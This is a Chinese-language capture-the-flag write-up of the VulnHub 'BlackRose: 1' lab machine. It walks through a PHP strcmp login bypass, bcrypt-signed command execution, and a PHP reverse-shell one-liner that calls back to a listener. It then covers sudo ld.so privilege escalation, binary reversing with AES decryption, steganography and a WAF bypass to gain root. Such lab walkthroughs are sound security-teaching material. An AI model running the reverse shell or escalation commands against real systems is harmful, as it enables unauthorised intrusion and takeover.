BlackRose: 1-VulnHub

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: BlackRose: 1-VulnHub

0x01 下载


下载地址:https://www.vulnhub.com/entry/blackrose-1,509/

由于国外访问较慢,这里下载后的文件已经传到了网盘

网盘链接:

https://pan.baidu.com/s/1FGc7RPXnerkcydqN9i86Gw 

提取码:5whz

PS:下载vulnhub里面的镜像可以使用FDM这款工具,挂到机器上慢慢下。


0x02 安装

这里推荐直接使用virtualbox,因为VM安装会报如下错误。


8ca255c67eec4dafcf0aa25e1400b263_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里网上是有解决方案的,但是直接用virtualbox他不香么。直接导入即可。

导入后选择内部网络intent就好,这个是一个独立的内网,

所以说我们的物理机是无法访问到靶机的,需要把其他的虚拟机添加到这个网络中。

例如kali,添加时也选择内部网络,然后配置kali的IP就行,这里因为在内网中没有相关DHCP服务器,所以需要手工分配静态IP,配置到相关网段即可。


0x03 知识点


3.1 PHP strcmp()函数


int strcmp ( string $str1 , string $str2 ),用来比较两个字符串的值,

参数 str1第一个字符串。

str2第二个字符串。如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

当传入的值不符合期望的类型就会报错,在php5.3以前,在报错信息显示后,将return 0,这也就导致了漏洞的产生。

后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。


3.2 passwordverify与passwordhash函数


string password_hash ( string $password , int $algo [, array $options ] )


PASSWORD_DEFAULT - 使用 bcrypt 算法 (PHP 5.5.0 默认)

PASSWORD_BCRYPT - 使用 CRYPT_BLOWFISH 算法创建散列。

PASSWORD_ARGON2I - 使用 Argon2 散列算法创建散列。



bool password_verify ( string $password , string $hash )


password_verify() 函数用于验证密码是否和散列值匹配。


3.3 ld.so滥用


ld.so 是 Unix(https://baike.baidu.com/item/Unix/21994)或类Unix系统上的动态链接器。

当应用程序需要使用动态链接库里的函数时,由ld.so负责加载。

在渗透时可以通过修改环境变量,让高权限程序加载恶意动态链接库,从而获取更高的权限。


3.4 二进制文件逆向与AES解密


文件的逆向没什么好讲的,拖进去直接就能看到代码逻辑。

后边所用到的AES解密是需要去猜测的,一般有key的话就是对称加密算法,常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

这个没什么捷径,只能尝试去一个一个猜解。

同时秘钥长度为8,转换成字节就是32位,通过这个信息缩小些范围。


3.5 图片隐写工具


Steghide是一个可以将文件隐藏到图片或音频中的工具


安装:apt install steghide

隐藏文件

steghide embed -cf [文件载体] -ef [待隐藏文件]

查看文件信息

steghide info [文件]

提取隐藏信息

steghide extract -sf [文件]


3.6 简单的WAF绕过


php中可以使用()进行连接绕过检查


3.7 linux权限提升


参考网站:https://payatu.com/guide-linux-privilege-escalation

对linux中的提权总结的挺好的,在玩靶机的过程中,主要使用了SUID的查找,配置不当和特权命令来提升权限。


0x04 探测&测试


这里作者已经给出了IP地址:192.168.1.21

直接ping一下。确定可以连通后就可以开始玩了。

日常先扫一波端口及服务。

开了22、80、3306,竟然开放3306出来,看我拿出远程溢出0day,直接打3306拿到权限。(为什么有牛在飞)。


f80f5e6d5cb836e122b167c82da0d004_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


正常开始搞,22和3306可以走一波爆破,但是按一般的渗透流程不建议使用,毕竟动作太大了。

其次老外的口令字典还是不太一样的,懒得去找了。还是从web入手看看。

打开迎面一个登录和注册的框框。



那么能想到的测试点无非就是:

  • 登录绕过(逻辑问题,语言特性)
  • sql注入(万能密码)
  • 弱口令(爆破)
  • 二次注入
  • 注册覆盖
  • 未授权访问(目录扫描)


尝试注册、进去一番摸索,并没有发现什么有什么可以值得利用的地方,点击页面发现功能点需要admin用户才能操作,那先在的目标就是获取admin权限



经过一番搜索,发现登录时使用php的一个特性去绕过了登录判断,就是PHP strcmp()



然后就可以成功的登录进去了


edf7b5e3a61d01ecf2be670993ca9785_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


0x05 服务器权限获取


5.1 加密与执行


在页面上有一个命令执行的窗口,在尝试了几个命令后,发现只有whoami命令可以执行,

其次因为有csrftoken这个参数的原因,他会频繁刷新,如果没有及时执行命令时就会一直timeout。

执行后可以看到是一个www-data的权限。现在需要搞清楚签名的含义。



kali自带两个hash算法识别工具hashid和hash-identifier。然而两个都没有识别出来。



不过好在我们已经获取了密文内容,那么使用john跑一下就能识别了。

识别出来这个签名的加密方式bcrypt。然后就可以利用这个进行命令执行了。


f27794ed89ed45b9ddc1d30519bb9f7a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


找到一个在线 加密网站http://passwordhashing.com/),

在尝试几个命令后准备反弹shell,一般linux下反弹shell操作无非也就那几种。

这里推荐一个 shell生成网站https://krober.biz/misc/reverse_shell.php)。


578c7a88c0bc0c180d8dbfa138ecc967_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


5.2 权限获取


先用nc起一个监听,然后抓包改执行的命令,发现执行命令时老报错误,

最终使用遍历的方法获取到了一个shell:



php -r '$s=fsockopen("1921.68.1.2",4444);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'



转换成标准的输入输出:python -c 'import pty; pty.spawn("/bin/bash")'


0x06 权限提升 - yourname


6.1 www-data到delx


linux权限提升的几种方式:

内核提权,SUID提权,高权限应用,sudo等。

这里不存在内核漏洞


先找一下 find / -perm -u = s -type f 2> / dev / null


d1b7232d04d43c908685743587928dab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然而并没有什么可以值得利用的,接着查看sudo权限和用户sudo -l


37b04dd64301818ed3599cbff4443e8c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


发现了delx用户有动态链接库文件ld.so,执行sudo -u delx /bin/ld.so /bin/bash

获取delx权限


6.2 加密与解密


即可切换到delx用户下,

执行find / -type f -user delx 2>/dev/null,找到了一些有趣的文件



showpasswd是一个执行文件,但实际上执行后会显示一条消息。



遇到这种情况就要分析代码了。使用scp命令将该文件传到本机



使用ida打开,很直观的就可以看到其代码逻辑,执行了一系列的字符串判断。



简单分析后得到了gqSFGqAJ 字符串。

然而这个时候并不知道这个字符串有什么用途,又到了脑洞时间。

在文件还有一长串字符串没有用到,猜测是需要使用字符串当key去解。



一番搜索后,发现是AES加密,

使用 在线网站(http://asencryption.net/)进行解密,

可以得到一个字符串:RkZiPVkvxykJVOmxBmitBPeJXqFuxM



6.3 图片隐写获取密码


这里有一个点,就是首页背景图片中也隐藏了信息,需要用上面的key进行解密。



查看内容为:s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR

这个密码看起来依旧是加密的,经过查找,发现是rot47

解密出来是:DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#



使用该密码登入yourname这个用户,获取第一个文件。



0x07 权限提升 - root


依旧先使用sudo -l命令查看相关命令执行权限,发现blackrose这个命令,

执行后发现还是无法读取root文件。



看起来是存在了某种限制,经过一番搜索后,发现可以使用PHP后缀文件。

发现这个程序还过滤了一些高危函数。



绕过以后成功获取root权限



0x08 结语


靶场的质量挺高的,CTF说实话跟渗透的差别还是有的,解这个靶机跟做题差不多,需要思考作者的用意。

另外就是平时知识的积累,偶尔渗透累了,做做靶机涨涨技术也是不错滴。


相关文章
|
安全 Shell C语言
vulnhub-GoldenEye靶机通关wp(二)
vulnhub-GoldenEye靶机通关wp
165 0
vulnhub-GoldenEye靶机通关wp(二)
|
SQL 安全 搜索推荐
靶机实战-vuluhub系列-vulnhub_DOUBLETROUBLE_1
靶机实战-vuluhub系列-vulnhub_DOUBLETROUBLE_1
靶机实战-vuluhub系列-vulnhub_DOUBLETROUBLE_1
|
数据安全/隐私保护
vulnhub-GoldenEye靶机通关wp(一)
vulnhub-GoldenEye靶机通关wp
385 0
|
安全 Shell
vulnhub靶场—matrix-breakout-2-morpheus靶机
vulnhub靶场—matrix-breakout-2-morpheus靶机
158 2
|
安全 Shell Linux
vulnhub靶机系列之zico2
vulnhub靶机系列之zico2
|
安全 Shell 网络安全
vulnhub靶机 | DriftingBlues:7 write-up
vulnhub靶机 | DriftingBlues:7 write-up
104 0
|
存储 安全 Ubuntu
Vulnhub-Breach1.0
Vulnhub-Breach1.0
232 0
|
SQL 安全 Ubuntu
Vulnhub-billub0x
Vulnhub-billub0x
160 0
|
安全 网络协议 Shell
Vulnhub-bulldog-1
Vulnhub-bulldog-1
113 0
|
Shell Apache 数据库
Vulnhub靶场之Me-and-My-Girlfriend(二)
Vulnhub靶场之Me-and-My-Girlfriend
131 0
Vulnhub靶场之Me-and-My-Girlfriend(二)